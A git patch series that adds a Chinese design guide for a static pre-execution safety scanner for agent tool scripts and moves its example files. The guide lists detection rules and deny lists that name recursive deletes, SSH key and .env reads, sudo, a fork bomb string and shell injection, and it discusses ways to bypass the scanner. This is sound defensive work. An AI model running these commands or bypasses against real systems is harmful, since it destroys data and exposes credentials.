docs: add Chinese tool safety guide --- docs/tool_safety_guard.md | 5 +- docs/tool_safety_guard.zh_CN.md | 358 ++++++++++++++++++++++++++++++++ examples/tool_safety/README.md | 5 +- 3 files changed, 365 insertions(+), 3 deletions(-) create mode 100644 docs/tool_safety_guard.zh_CN.md diff --git a/docs/tool_safety_guard.md b/docs/tool_safety_guard.md index 31c46a4e..c72335bb 100644 --- a/docs/tool_safety_guard.md +++ b/docs/tool_safety_guard.md @@ -1,5 +1,7 @@ # Tool Script Safety Guard +[中文版本](tool_safety_guard.zh_CN.md) + Pre-execution static safety scanner for Python and Bash scripts invoked by Tools, Skills, MCP tools, and CodeExecutors. Produces a structured ``allow`` / ``deny`` / ``needs_human_review`` decision, a redacted report, @@ -394,7 +396,7 @@ tool/ wrapper.py # SafetyWrappedCallable, SafetyCheckedExecutor scripts/ tool_safety_check.py # CLI -tests/tool_safety/ # 115 tests +tests/tool_safety/ # safety guard tests examples/tool_safety/ tool_safety_policy.yaml # sample policy samples/ # 14 public samples + manifest @@ -403,4 +405,5 @@ examples/tool_safety/ manifest_run.json # manifest execution summary docs/ tool_safety_guard.md # this document + tool_safety_guard.zh_CN.md # Chinese version ``` diff --git a/docs/tool_safety_guard.zh_CN.md b/docs/tool_safety_guard.zh_CN.md new file mode 100644 index 00000000..60bd194d --- /dev/null +++ b/docs/tool_safety_guard.zh_CN.md @@ -0,0 +1,358 @@ +# Tool Script Safety Guard 设计说明（中文） + +[English version](tool_safety_guard.md) + +面向 Tool、Skill、MCP Tool 与 CodeExecutor 所执行 Python/Bash 脚本的 +执行前静态安全检查器。它输出结构化的 ``allow``、``deny`` 或 +``needs_human_review`` 决策、脱敏报告、JSONL 审计事件及 OpenTelemetry +属性；**但它不能替代沙箱隔离。** + +## 机制概览 + +Guard 是一个在代码真正执行前运行的、由策略驱动的静态安全门禁。它扫描 +脚本、命令行参数、工作目录、环境变量和 tool 元数据，并按规则目录给出 +三态决策。决策及其证据会以脱敏的 ``SafetyReport``、审计事件和 OTel +span 属性/指标输出。 + +```text ++----------------+ +-------------+ +------------------+ +| Tool / Skill / | ---> | Guard | ---> | allow: 执行 | +| CodeExecutor | | (静态扫描) | | deny: 拦截 | +| 输入 | | | | review: 暂停复核 | ++----------------+ +------+------+ +------------------+ + | + v + +-----------+-----------+ + | Audit | Telemetry | OTel | + +-----------------------+ +``` + +静态检查只是纵深防御中的一层。它补充而不是取代容器/沙箱隔离、网络出口 +策略、操作系统权限和运行时资源限制。 + +## 不解决的问题 + +* **不是沙箱。** 静态分析无法预测已放行代码在运行时的全部行为。生产环境 + 仍需使用非特权容器、只读挂载、出口白名单、cgroup/ulimit 及超时限制。 +* **不是完美检测器。** 混淆、运行时拼接、反射、原生扩展、下载载荷、符号 + 链接竞争和依赖运行时状态的行为都可能绕过静态扫描。对不确定构造应返回 + ``needs_human_review``，而非静默放行。 +* **策略文件不是秘密库。** 策略文件是决策来源，应受到保护。能修改 + ``rule_overrides`` 或允许命令的人也能降低安全门槛。 + +## 职责边界 + +| 层 | 职责 | +|---|---| +| **SafetyWrappedCallable / SafetyCheckedExecutor** | 当前可用的强制接入路径：扫描、等待审计写入，仅在允许后委托执行 | +| **ToolScriptSafetyFilter** | 为 wrapper 和未来 SDK 终端钩子归一化并记录决策 | +| **Wrapper / Sandbox / Runtime** | 运行时隔离：CPU、内存、PID、文件系统和网络硬限制 | +| **Audit / Telemetry** | 决策证据；当 ``audit.required`` 为真时，审计持久化属于 wrapper 的失败关闭门禁 | + +## 快速开始 + +```bash +python scripts/tool_safety_check.py \ + --policy examples/tool_safety/tool_safety_policy.yaml \ + --language python \ + --script-file examples/tool_safety/samples/03_dangerous_delete.py \ + --output tool_safety_report.json \ + --audit-file tool_safety_audit.jsonl +echo $? # 0=allow, 2=deny, 3=review, 4=输入/策略/必需审计错误 +``` + +扫描全部 14 个公开样例： + +```bash +python scripts/tool_safety_check.py \ + --policy examples/tool_safety/tool_safety_policy.yaml \ + --manifest examples/tool_safety/samples/manifest.yaml \ + --manifest-output examples/tool_safety/manifest_run.json \ + --audit-file examples/tool_safety/tool_safety_audit.jsonl +``` + +## 作为库使用 + +```python +from tool.safety import ( + ToolSafetyGuard, + load_safety_policy, + SafetyScanRequest, + ScriptLanguage, +) + +policy = load_safety_policy("examples/tool_safety/tool_safety_policy.yaml") +guard = ToolSafetyGuard(policy) + +request = SafetyScanRequest( + tool_name="workspace_exec", + language=ScriptLanguage.BASH, + script="rm -rf /tmp/x", + cwd="/tmp", + env={"PATH": "/usr/bin"}, +) +report = guard.scan(request) +print(report.decision, report.rule_ids) +``` + +### 包装普通 callable + +```python +import subprocess +from tool.wrapper import SafetyWrappedCallable +from tool.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage + +guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) +safe_run = SafetyWrappedCallable( + guard, subprocess.run, + tool_name="subprocess.run", + language=ScriptLanguage.BASH, + script_pos=0, +) +safe_run("ls -la") # 策略拒绝时抛出 BlockedExecutionError +``` + +若 delegate 或调用方已在事件循环内，应使用 +``await safe_run.call_async(...)``。它会在委托执行前等待必需的审计 I/O +完成。对于 tool 风格 callable，请将 ``argv_kw``、``cwd_kw``、``env_kw``、 +``metadata_kw`` 和 ``output_bytes_kw`` 映射到实际参数名，以便规范化请求 +包含全部可用执行字段。 + +### 包装 CodeExecutor + +```python +from tool.wrapper import SafetyCheckedExecutor +from tool.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage + +guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) +safe_executor = SafetyCheckedExecutor( + guard, + delegate=real_executor, + language=ScriptLanguage.PYTHON, + effective_timeout_seconds=30, +) +await safe_executor.execute_code(code_input) +``` + +每个 ``CodeBlock.language`` 会独立决定扫描器；当 ``code_blocks`` 为空时， +wrapper 会继续扫描 ``CodeExecutionInput.code``。拒绝和按策略阻断的人工 +复核不会到达 delegate；返回的文本输出会被限制在 ``max_output_bytes`` 内。 + +## 规则目录 + +规则 ID 是稳定接口，便于策略覆盖与审计聚合。 + +| Rule ID | 类别 | 默认决策 | 检测内容 | +|---|---|---|---| +| `FILE001_RECURSIVE_DELETE` | file | deny | `shutil.rmtree`、`rm -rf` | +| `FILE002_DENIED_WRITE` | file | deny | 向禁止路径写入 | +| `FILE003_CREDENTIAL_READ` | file | deny | 读取 `.ssh`、`id_rsa`、`.pem`、凭据文件 | +| `FILE004_DOTENV_READ` | file | deny | 读取 `.env` 文件 | +| `NET001_DOMAIN_NOT_ALLOWED` | network | deny | `requests`/curl/wget 访问非白名单主机 | +| `NET002_DYNAMIC_TARGET` | network | review | 运行时计算网络目标 | +| `NET003_IP_LITERAL` | network | deny | 启用 `deny_ip_literals` 时使用 IP 字面量 | +| `PROC001_PROCESS_EXEC` | process | review | 不在允许列表中的子进程或命令 | +| `PROC002_SHELL_INJECTION` | process | deny | 含 shell 语法的 `shell=True` | +| `PROC003_SHELL_OPERATOR` | process | review | `;`、`&&`、`\|`、`&`、命令替换 | +| `PROC004_PRIVILEGE` | process | deny | `sudo`、`su`、`doas` | +| `DEP001_ENV_MUTATION` | dependency | deny | `pip install`、`npm install`、`apt install` | +| `RES001_UNBOUNDED_LOOP` | resource | deny | 无 `break` 的 `while True` | +| `RES002_FORK_BOMB` | resource | deny | 经典 `:(){ :\|:& };:` fork bomb | +| `RES003_LONG_SLEEP` | resource | deny | 超过策略上限的 sleep | +| `RES004_CONCURRENCY` | resource | deny | 超过 `max_parallel_tasks` 或 `max_processes` 的并发 | +| `RES005_LARGE_WRITE` | resource | deny | 超过 `max_file_write_bytes` 的写入 | +| `SECRET001_LOG_SINK` | secret | deny | 污点值流入 print/log | +| `SECRET002_FILE_SINK` | secret | deny | 污点值流入文件写入 | +| `SECRET003_NETWORK_SINK` | secret | deny | 污点值流入网络请求载荷 | +| `PARSE001_UNCERTAIN` | analysis | review | 语法错误或无法可靠分析的构造 | +| `OBF001_DYNAMIC_EXEC` | analysis | review | `eval`、`exec`、间接 Bash 执行、解释器载荷 | +| `SAFE000` | safe | allow | 无规则命中 | +| `GUARD001_INTERNAL_ERROR` | analysis | deny | Guard 内部错误（失败关闭） | + +## 策略配置 + +```yaml +version: "1" + +defaults: + unknown_construct: needs_human_review # allow | needs_human_review | deny + guard_error: deny # 默认失败关闭 + human_review_blocks_execution: true # review 是否阻断 wrapper + +limits: + max_timeout_seconds: 60 + max_output_bytes: 1048576 + max_script_bytes: 262144 + max_sleep_seconds: 30 + max_parallel_tasks: 16 + max_processes: 8 + max_file_write_bytes: 10485760 + +network: + allow_domains: + - api.github.com + - "*.internal.example.com" # 仅匹配一层子域名 + deny_ip_literals: true + +commands: + allow: [python, python3, pytest, git] + deny: [sudo, su, doas, chmod, chown, mount] + +paths: + deny: + - "~/.ssh" + - "/etc" + - "/root" + - ".env" + - "**/*credentials*" + +dependencies: + decision: deny + +sensitive_env_key_patterns: + - "*KEY*" + - "*TOKEN*" + - "*PASSWORD*" + - "*SECRET*" + - "*CREDENTIAL*" + +tools: + workspace_exec: + execution_capable: true + language: bash + script: command + cwd: cwd + env: env + timeout: timeout_sec + +rule_overrides: {} +# 覆盖任一规则决策。例如： +# DEP001_ENV_MUTATION: needs_human_review + +audit: + enabled: true + required: true # 审计写入失败时失败关闭 + path: tool_safety_audit.jsonl +``` + +修改 YAML 后无需改代码即可调整域名白名单、命令允许/拒绝列表、禁止路径和 +资源阈值。Guard 不会监听文件变化；修改后应新建 ``ToolSafetyGuard``，并重新 +注册 wrapper/filter。每份报告和审计事件中的 ``policy_hash`` 可用于关联实际 +生效的策略版本。 + +## 审计与 Telemetry + +审计事件至少包含 tool name、decision、risk level、rule ID、扫描耗时、 +是否发生脱敏和是否拦截执行。事件不包含原始脚本、环境变量或参数；仅记录 +脚本 SHA-256 用于关联。 + +启用 OpenTelemetry 后，Guard 在当前 span 上写入低基数属性： + +```text +tool.safety.decision +tool.safety.risk_level +tool.safety.rule_id # 逗号分隔，最多 8 项 +tool.safety.blocked +tool.safety.redacted +tool.safety.scan_duration_ms +tool.safety.policy_hash +``` + +OTel 不存在时指标会安全地 no-op。可用指标： + +```text +trpc_agent.tool_safety.scan_count{decision,risk_level,tool_name} +trpc_agent.tool_safety.block_count{decision,rule_id,tool_name} +trpc_agent.tool_safety.scan_duration_ms{decision,tool_name} +``` + +证据片段、环境变量、脚本哈希和命令文本均不会作为 span 属性或 metric label +上报。 + +## CLI 退出码 + +| 退出码 | 含义 | +|---|---| +| 0 | 最终决策为 ``allow`` | +| 2 | 最终决策为 ``deny`` | +| 3 | 最终决策为 ``needs_human_review`` | +| 4 | 输入、策略或必需审计错误 | + +## 与 SDK 的接入关系 + +当前 SDK 尚未提供位于 ``ToolCallbackFilter`` 之后的终端 Filter 阶段。若把 +普通 ``filters=`` 中的检查器作为强制点，后续 callback 仍可能修改参数，造成 +TOCTOU 绕过。因此目前必须使用 ``SafetyWrappedCallable`` 或 +``SafetyCheckedExecutor``：二者都会先扫描、等待审计事件完成，再调用 delegate。 + +``ToolScriptSafetyFilter`` 提供了与未来 SDK 终端阶段对应的 +``_before``/``_after`` 钩子及 ``terminal_before_handler`` 标记。该标记在 SDK +真正实现“所有可改参 callback 之后”的排序前仅是元数据，不能视为当前的安全 +强制点。 + +## 扩展自定义规则 + +实现 ``SafetyRule`` 并显式传入规则列表： + +```python +from tool.safety import ToolSafetyGuard, SafetyScanRequest + +class MyRule: + rule_id = "CUSTOM001_MY_RULE" + + def scan(self, request, policy): + # Return an iterable of SafetyFinding. + return [] + +guard = ToolSafetyGuard( + policy, + rules=[*default_rules(), MyRule()], +) +``` + +规则必须是纯函数：不得执行文件 I/O、网络访问或创建进程。 + +## 已知限制与绕过风险 + +* **混淆。** Base64/十六进制解码等会隐藏意图。Guard 能识别 + ``eval``、``exec``、``compile`` 和动态导入，但不会尝试静态还原全部载荷。 +* **间接数据流。** 污点传播有意保持浅层：字面量、名称、直接赋值、f-string、 + 拼接和浅层容器。更深的数据流应进入人工复核。 +* **符号链接竞争。** 静态路径匹配不能解析符号链接；文件系统边界必须由沙箱 + 强制执行。 +* **原生扩展。** ``ctypes.CDLL(...)``、``cffi.dlopen(...)`` 等原语无法可靠 + 静态分析。 +* **运行时下载。** 分两阶段下载并执行载荷可绕过静态检查；网络出口策略和 + 沙箱不可省略。 +* **运行时资源。** wrapper 会校验声明的 timeout 并限制返回输出，但无法为任意 + executor 强制 CPU、内存、PID、文件大小或网络上限。必须在沙箱或 + CodeExecutor 运行时同时配置这些限制。 +* **Shell 语法缺口。** Bash lexer-lite 是保守实现；不平衡引号或不支持的替换 + 形式会变成 ``PARSE001_UNCERTAIN``。 + +当无法确定时，Guard 应输出 ``needs_human_review``，由人工明确批准后再继续。 + +## 测试 + +```bash +python -m pytest tests/tool_safety/ -v +``` + +测试覆盖模型与策略校验、脱敏、Python AST 扫描、Bash lexer-lite、跨字段检查、 +审计、Filter/wrapper、CLI、500 行脚本性能预算，以及 14 个样例与预期决策的 +集成验证。 + +## 文件布局 + +```text +tool/ + safety/ # Guard、策略、规则、扫描器、审计和 Telemetry + wrapper.py # SafetyWrappedCallable、SafetyCheckedExecutor +scripts/ + tool_safety_check.py # CLI +tests/tool_safety/ # 安全检查器测试 +examples/tool_safety/ # 策略、14 个样例、报告和审计样例 +docs/ + tool_safety_guard.md # English version + tool_safety_guard.zh_CN.md # 本文 +``` diff --git a/examples/tool_safety/README.md b/examples/tool_safety/README.md index a4f22548..95eac199 100644 --- a/examples/tool_safety/README.md +++ b/examples/tool_safety/README.md @@ -57,5 +57,6 @@ python ../../scripts/tool_safety_check.py \ * `manifest_run.json` shows expected-vs-actual decisions across all 14 samples. -See [../../docs/tool_safety_guard.md](../../docs/tool_safety_guard.md) -for the full design document. +See the full design document in +[English](../../docs/tool_safety_guard.md) or +[中文](../../docs/tool_safety_guard.zh_CN.md). From a93ecd51964ac9170ad8134d50a817732dc451f3 Mon Sep 17 00:00:00 2001 From: impself <774807698@qq.com> Date: Wed, 15 Jul 2026 14:55:14 +0800 Subject: [PATCH 5/8] docs --- docs/{ => mkdocs/en}/tool_safety_guard.md | 0 docs/{ => mkdocs/zh}/tool_safety_guard.zh_CN.md | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename docs/{ => mkdocs/en}/tool_safety_guard.md (100%) rename docs/{ => mkdocs/zh}/tool_safety_guard.zh_CN.md (100%) diff --git a/docs/tool_safety_guard.md b/docs/mkdocs/en/tool_safety_guard.md similarity index 100% rename from docs/tool_safety_guard.md rename to docs/mkdocs/en/tool_safety_guard.md diff --git a/docs/tool_safety_guard.zh_CN.md b/docs/mkdocs/zh/tool_safety_guard.zh_CN.md similarity index 100% rename from docs/tool_safety_guard.zh_CN.md rename to docs/mkdocs/zh/tool_safety_guard.zh_CN.md From 8ba001b8940d5c83c18b7eb6a9ae4e4b15b6b9c1 Mon Sep 17 00:00:00 2001 From: impself <774807698@qq.com> Date: Wed, 15 Jul 2026 15:14:28 +0800 Subject: [PATCH 6/8] move to tool --- docs/mkdocs/en/tool_safety_guard.md | 16 ++++++++-------- docs/mkdocs/zh/tool_safety_guard.zh_CN.md | 16 ++++++++-------- scripts/tool_safety_check.py | 2 +- tests/tool_safety/test_cli.py | 12 ++++++++---- tests/tool_safety/test_integration.py | 6 +++--- .../safety/examples}/README.md | 8 ++++---- .../safety/examples}/manifest_run.json | 0 .../safety/examples}/samples/01_safe_python.py | 0 .../safety/examples}/samples/02_safe_bash.sh | 0 .../examples}/samples/03_dangerous_delete.py | 0 .../safety/examples}/samples/04_read_ssh_key.py | 0 .../samples/05_non_whitelist_network.py | 0 .../examples}/samples/06_whitelist_network.py | 0 .../examples}/samples/07_allowed_subprocess.py | 0 .../examples}/samples/08_shell_injection.py | 0 .../examples}/samples/09_dependency_install.sh | 0 .../safety/examples}/samples/10_infinite_loop.py | 0 .../examples}/samples/11_sensitive_output.py | 0 .../safety/examples}/samples/12_bash_pipeline.sh | 0 .../safety/examples}/samples/13_read_dotenv.sh | 0 .../samples/14_dynamic_command_review.py | 0 .../safety/examples}/samples/manifest.yaml | 0 .../safety/examples}/tool_safety_audit.jsonl | 0 .../safety/examples}/tool_safety_policy.yaml | 0 .../safety/examples}/tool_safety_report.json | 0 25 files changed, 32 insertions(+), 28 deletions(-) rename {examples/tool_safety => tool/safety/examples}/README.md (92%) rename {examples/tool_safety => tool/safety/examples}/manifest_run.json (100%) rename {examples/tool_safety => tool/safety/examples}/samples/01_safe_python.py (100%) rename {examples/tool_safety => tool/safety/examples}/samples/02_safe_bash.sh (100%) rename {examples/tool_safety => tool/safety/examples}/samples/03_dangerous_delete.py (100%) rename {examples/tool_safety => tool/safety/examples}/samples/04_read_ssh_key.py (100%) rename {examples/tool_safety => tool/safety/examples}/samples/05_non_whitelist_network.py (100%) rename {examples/tool_safety => tool/safety/examples}/samples/06_whitelist_network.py (100%) rename {examples/tool_safety => tool/safety/examples}/samples/07_allowed_subprocess.py (100%) rename {examples/tool_safety => tool/safety/examples}/samples/08_shell_injection.py (100%) rename {examples/tool_safety => tool/safety/examples}/samples/09_dependency_install.sh (100%) rename {examples/tool_safety => tool/safety/examples}/samples/10_infinite_loop.py (100%) rename {examples/tool_safety => tool/safety/examples}/samples/11_sensitive_output.py (100%) rename {examples/tool_safety => tool/safety/examples}/samples/12_bash_pipeline.sh (100%) rename {examples/tool_safety => tool/safety/examples}/samples/13_read_dotenv.sh (100%) rename {examples/tool_safety => tool/safety/examples}/samples/14_dynamic_command_review.py (100%) rename {examples/tool_safety => tool/safety/examples}/samples/manifest.yaml (100%) rename {examples/tool_safety => tool/safety/examples}/tool_safety_audit.jsonl (100%) rename {examples/tool_safety => tool/safety/examples}/tool_safety_policy.yaml (100%) rename {examples/tool_safety => tool/safety/examples}/tool_safety_report.json (100%) diff --git a/docs/mkdocs/en/tool_safety_guard.md b/docs/mkdocs/en/tool_safety_guard.md index c72335bb..32750b94 100644 --- a/docs/mkdocs/en/tool_safety_guard.md +++ b/docs/mkdocs/en/tool_safety_guard.md @@ -62,9 +62,9 @@ permissions, and runtime resource limits. ```bash python scripts/tool_safety_check.py \ - --policy examples/tool_safety/tool_safety_policy.yaml \ + --policy tool/safety/examples/tool_safety_policy.yaml \ --language python \ - --script-file examples/tool_safety/samples/03_dangerous_delete.py \ + --script-file tool/safety/examples/samples/03_dangerous_delete.py \ --output tool_safety_report.json \ --audit-file tool_safety_audit.jsonl echo $? # 0=allow, 2=deny, 3=review, 4=input/policy error @@ -74,10 +74,10 @@ Run the manifest to scan all 14 public samples: ```bash python scripts/tool_safety_check.py \ - --policy examples/tool_safety/tool_safety_policy.yaml \ - --manifest examples/tool_safety/samples/manifest.yaml \ - --manifest-output examples/tool_safety/manifest_run.json \ - --audit-file examples/tool_safety/tool_safety_audit.jsonl + --policy tool/safety/examples/tool_safety_policy.yaml \ + --manifest tool/safety/examples/samples/manifest.yaml \ + --manifest-output tool/safety/examples/manifest_run.json \ + --audit-file tool/safety/examples/tool_safety_audit.jsonl ``` ## Programmatic usage @@ -90,7 +90,7 @@ from tool.safety import ( ScriptLanguage, ) -policy = load_safety_policy("examples/tool_safety/tool_safety_policy.yaml") +policy = load_safety_policy("tool/safety/examples/tool_safety_policy.yaml") guard = ToolSafetyGuard(policy) request = SafetyScanRequest( @@ -397,7 +397,7 @@ tool/ scripts/ tool_safety_check.py # CLI tests/tool_safety/ # safety guard tests -examples/tool_safety/ +tool/safety/examples/ tool_safety_policy.yaml # sample policy samples/ # 14 public samples + manifest tool_safety_report.json # generated report diff --git a/docs/mkdocs/zh/tool_safety_guard.zh_CN.md b/docs/mkdocs/zh/tool_safety_guard.zh_CN.md index 60bd194d..6f0ea8b4 100644 --- a/docs/mkdocs/zh/tool_safety_guard.zh_CN.md +++ b/docs/mkdocs/zh/tool_safety_guard.zh_CN.md @@ -53,9 +53,9 @@ span 属性/指标输出。 ```bash python scripts/tool_safety_check.py \ - --policy examples/tool_safety/tool_safety_policy.yaml \ + --policy tool/safety/examples/tool_safety_policy.yaml \ --language python \ - --script-file examples/tool_safety/samples/03_dangerous_delete.py \ + --script-file tool/safety/examples/samples/03_dangerous_delete.py \ --output tool_safety_report.json \ --audit-file tool_safety_audit.jsonl echo $? # 0=allow, 2=deny, 3=review, 4=输入/策略/必需审计错误 @@ -65,10 +65,10 @@ echo $? # 0=allow, 2=deny, 3=review, 4=输入/策略/必需审计错误 ```bash python scripts/tool_safety_check.py \ - --policy examples/tool_safety/tool_safety_policy.yaml \ - --manifest examples/tool_safety/samples/manifest.yaml \ - --manifest-output examples/tool_safety/manifest_run.json \ - --audit-file examples/tool_safety/tool_safety_audit.jsonl + --policy tool/safety/examples/tool_safety_policy.yaml \ + --manifest tool/safety/examples/samples/manifest.yaml \ + --manifest-output tool/safety/examples/manifest_run.json \ + --audit-file tool/safety/examples/tool_safety_audit.jsonl ``` ## 作为库使用 @@ -81,7 +81,7 @@ from tool.safety import ( ScriptLanguage, ) -policy = load_safety_policy("examples/tool_safety/tool_safety_policy.yaml") +policy = load_safety_policy("tool/safety/examples/tool_safety_policy.yaml") guard = ToolSafetyGuard(policy) request = SafetyScanRequest( @@ -351,7 +351,7 @@ tool/ scripts/ tool_safety_check.py # CLI tests/tool_safety/ # 安全检查器测试 -examples/tool_safety/ # 策略、14 个样例、报告和审计样例 +tool/safety/examples/ # 策略、14 个样例、报告和审计样例 docs/ tool_safety_guard.md # English version tool_safety_guard.zh_CN.md # 本文 diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py index dc01d389..62589a26 100644 --- a/scripts/tool_safety_check.py +++ b/scripts/tool_safety_check.py @@ -3,7 +3,7 @@ Usage:: python scripts/tool_safety_check.py \\ - --policy examples/tool_safety/tool_safety_policy.yaml \\ + --policy tool/safety/examples/tool_safety_policy.yaml \\ --language python \\ --script-file path/to/script.py \\ --tool-name demo diff --git a/tests/tool_safety/test_cli.py b/tests/tool_safety/test_cli.py index 2d15456d..fc68998f 100644 --- a/tests/tool_safety/test_cli.py +++ b/tests/tool_safety/test_cli.py @@ -11,7 +11,7 @@ REPO_ROOT = Path(__file__).resolve().parents[2] CLI = REPO_ROOT / "scripts" / "tool_safety_check.py" -POLICY = REPO_ROOT / "examples" / "tool_safety" / "tool_safety_policy.yaml" +POLICY = REPO_ROOT / "tool" / "safety" / "examples" / "tool_safety_policy.yaml" def _run_cli(*args: str) -> tuple[int, str, str]: @@ -52,11 +52,15 @@ def test_review_exit_3(): def test_invalid_policy_exit_4(tmp_path): - cmd = [sys.executable, str(CLI), "--policy", - str(tmp_path / "missing.yaml"), "--script", "print(1)"] + missing_policy = tmp_path / "missing.yaml" + cmd = [sys.executable, str(CLI), "--policy", str(missing_policy), + "--script", "print(1)"] proc = subprocess.run(cmd, capture_output=True, text=True, cwd=str(REPO_ROOT)) assert proc.returncode == 4 + assert "policy error:" in proc.stderr + assert str(missing_policy) in proc.stderr + assert proc.stdout == "" def test_required_audit_failure_exits_4(tmp_path): @@ -70,7 +74,7 @@ def test_required_audit_failure_exits_4(tmp_path): def test_manifest_writes_output(tmp_path): - manifest = REPO_ROOT / "examples" / "tool_safety" / "samples" / "manifest.yaml" + manifest = REPO_ROOT / "tool" / "safety" / "examples" / "samples" / "manifest.yaml" output = tmp_path / "out.json" audit = tmp_path / "audit.jsonl" cmd = [sys.executable, str(CLI), "--policy", str(POLICY), diff --git a/tests/tool_safety/test_integration.py b/tests/tool_safety/test_integration.py index 82f24abf..5920cff4 100644 --- a/tests/tool_safety/test_integration.py +++ b/tests/tool_safety/test_integration.py @@ -1,7 +1,7 @@ """Integration tests: manifest samples must match expected decisions. These tests verify the public manifest in -``examples/tool_safety/samples/manifest.yaml``. Per the issue acceptance +``tool/safety/examples/samples/manifest.yaml``. Per the issue acceptance criteria: every sample must produce a structured report, high-risk detection must be >= 90%, safe false positives <= 10%, and the key-credential-delete-non-allowlist categories must be 100%. @@ -20,8 +20,8 @@ REPO_ROOT = Path(__file__).resolve().parents[2] -POLICY_PATH = REPO_ROOT / "examples" / "tool_safety" / "tool_safety_policy.yaml" -MANIFEST_PATH = REPO_ROOT / "examples" / "tool_safety" / "samples" / "manifest.yaml" +POLICY_PATH = REPO_ROOT / "tool" / "safety" / "examples" / "tool_safety_policy.yaml" +MANIFEST_PATH = REPO_ROOT / "tool" / "safety" / "examples" / "samples" / "manifest.yaml" @pytest.fixture(scope="module") diff --git a/examples/tool_safety/README.md b/tool/safety/examples/README.md similarity index 92% rename from examples/tool_safety/README.md rename to tool/safety/examples/README.md index 95eac199..702c28e0 100644 --- a/examples/tool_safety/README.md +++ b/tool/safety/examples/README.md @@ -31,7 +31,7 @@ and the generated report / audit outputs. ```bash # Single sample -python ../../scripts/tool_safety_check.py \ +python ../../../scripts/tool_safety_check.py \ --policy tool_safety_policy.yaml \ --language python \ --script-file samples/03_dangerous_delete.py \ @@ -40,7 +40,7 @@ python ../../scripts/tool_safety_check.py \ echo $? # 0=allow, 2=deny, 3=review, 4=input/policy error # All 14 samples -python ../../scripts/tool_safety_check.py \ +python ../../../scripts/tool_safety_check.py \ --policy tool_safety_policy.yaml \ --manifest samples/manifest.yaml \ --manifest-output manifest_run.json \ @@ -58,5 +58,5 @@ python ../../scripts/tool_safety_check.py \ samples. See the full design document in -[English](../../docs/tool_safety_guard.md) or -[中文](../../docs/tool_safety_guard.zh_CN.md). +[English](../../../docs/mkdocs/en/tool_safety_guard.md) or +[中文](../../../docs/mkdocs/zh/tool_safety_guard.zh_CN.md). diff --git a/examples/tool_safety/manifest_run.json b/tool/safety/examples/manifest_run.json similarity index 100% rename from examples/tool_safety/manifest_run.json rename to tool/safety/examples/manifest_run.json diff --git a/examples/tool_safety/samples/01_safe_python.py b/tool/safety/examples/samples/01_safe_python.py similarity index 100% rename from examples/tool_safety/samples/01_safe_python.py rename to tool/safety/examples/samples/01_safe_python.py diff --git a/examples/tool_safety/samples/02_safe_bash.sh b/tool/safety/examples/samples/02_safe_bash.sh similarity index 100% rename from examples/tool_safety/samples/02_safe_bash.sh rename to tool/safety/examples/samples/02_safe_bash.sh diff --git a/examples/tool_safety/samples/03_dangerous_delete.py b/tool/safety/examples/samples/03_dangerous_delete.py similarity index 100% rename from examples/tool_safety/samples/03_dangerous_delete.py rename to tool/safety/examples/samples/03_dangerous_delete.py diff --git a/examples/tool_safety/samples/04_read_ssh_key.py b/tool/safety/examples/samples/04_read_ssh_key.py similarity index 100% rename from examples/tool_safety/samples/04_read_ssh_key.py rename to tool/safety/examples/samples/04_read_ssh_key.py diff --git a/examples/tool_safety/samples/05_non_whitelist_network.py b/tool/safety/examples/samples/05_non_whitelist_network.py similarity index 100% rename from examples/tool_safety/samples/05_non_whitelist_network.py rename to tool/safety/examples/samples/05_non_whitelist_network.py diff --git a/examples/tool_safety/samples/06_whitelist_network.py b/tool/safety/examples/samples/06_whitelist_network.py similarity index 100% rename from examples/tool_safety/samples/06_whitelist_network.py rename to tool/safety/examples/samples/06_whitelist_network.py diff --git a/examples/tool_safety/samples/07_allowed_subprocess.py b/tool/safety/examples/samples/07_allowed_subprocess.py similarity index 100% rename from examples/tool_safety/samples/07_allowed_subprocess.py rename to tool/safety/examples/samples/07_allowed_subprocess.py diff --git a/examples/tool_safety/samples/08_shell_injection.py b/tool/safety/examples/samples/08_shell_injection.py similarity index 100% rename from examples/tool_safety/samples/08_shell_injection.py rename to tool/safety/examples/samples/08_shell_injection.py diff --git a/examples/tool_safety/samples/09_dependency_install.sh b/tool/safety/examples/samples/09_dependency_install.sh similarity index 100% rename from examples/tool_safety/samples/09_dependency_install.sh rename to tool/safety/examples/samples/09_dependency_install.sh diff --git a/examples/tool_safety/samples/10_infinite_loop.py b/tool/safety/examples/samples/10_infinite_loop.py similarity index 100% rename from examples/tool_safety/samples/10_infinite_loop.py rename to tool/safety/examples/samples/10_infinite_loop.py diff --git a/examples/tool_safety/samples/11_sensitive_output.py b/tool/safety/examples/samples/11_sensitive_output.py similarity index 100% rename from examples/tool_safety/samples/11_sensitive_output.py rename to tool/safety/examples/samples/11_sensitive_output.py diff --git a/examples/tool_safety/samples/12_bash_pipeline.sh b/tool/safety/examples/samples/12_bash_pipeline.sh similarity index 100% rename from examples/tool_safety/samples/12_bash_pipeline.sh rename to tool/safety/examples/samples/12_bash_pipeline.sh diff --git a/examples/tool_safety/samples/13_read_dotenv.sh b/tool/safety/examples/samples/13_read_dotenv.sh similarity index 100% rename from examples/tool_safety/samples/13_read_dotenv.sh rename to tool/safety/examples/samples/13_read_dotenv.sh diff --git a/examples/tool_safety/samples/14_dynamic_command_review.py b/tool/safety/examples/samples/14_dynamic_command_review.py similarity index 100% rename from examples/tool_safety/samples/14_dynamic_command_review.py rename to tool/safety/examples/samples/14_dynamic_command_review.py diff --git a/examples/tool_safety/samples/manifest.yaml b/tool/safety/examples/samples/manifest.yaml similarity index 100% rename from examples/tool_safety/samples/manifest.yaml rename to tool/safety/examples/samples/manifest.yaml diff --git a/examples/tool_safety/tool_safety_audit.jsonl b/tool/safety/examples/tool_safety_audit.jsonl similarity index 100% rename from examples/tool_safety/tool_safety_audit.jsonl rename to tool/safety/examples/tool_safety_audit.jsonl diff --git a/examples/tool_safety/tool_safety_policy.yaml b/tool/safety/examples/tool_safety_policy.yaml similarity index 100% rename from examples/tool_safety/tool_safety_policy.yaml rename to tool/safety/examples/tool_safety_policy.yaml diff --git a/examples/tool_safety/tool_safety_report.json b/tool/safety/examples/tool_safety_report.json similarity index 100% rename from examples/tool_safety/tool_safety_report.json rename to tool/safety/examples/tool_safety_report.json From 97770e015ff1b021efe30ec3e4f7535442924c59 Mon Sep 17 00:00:00 2001 From: impself <774807698@qq.com> Date: Wed, 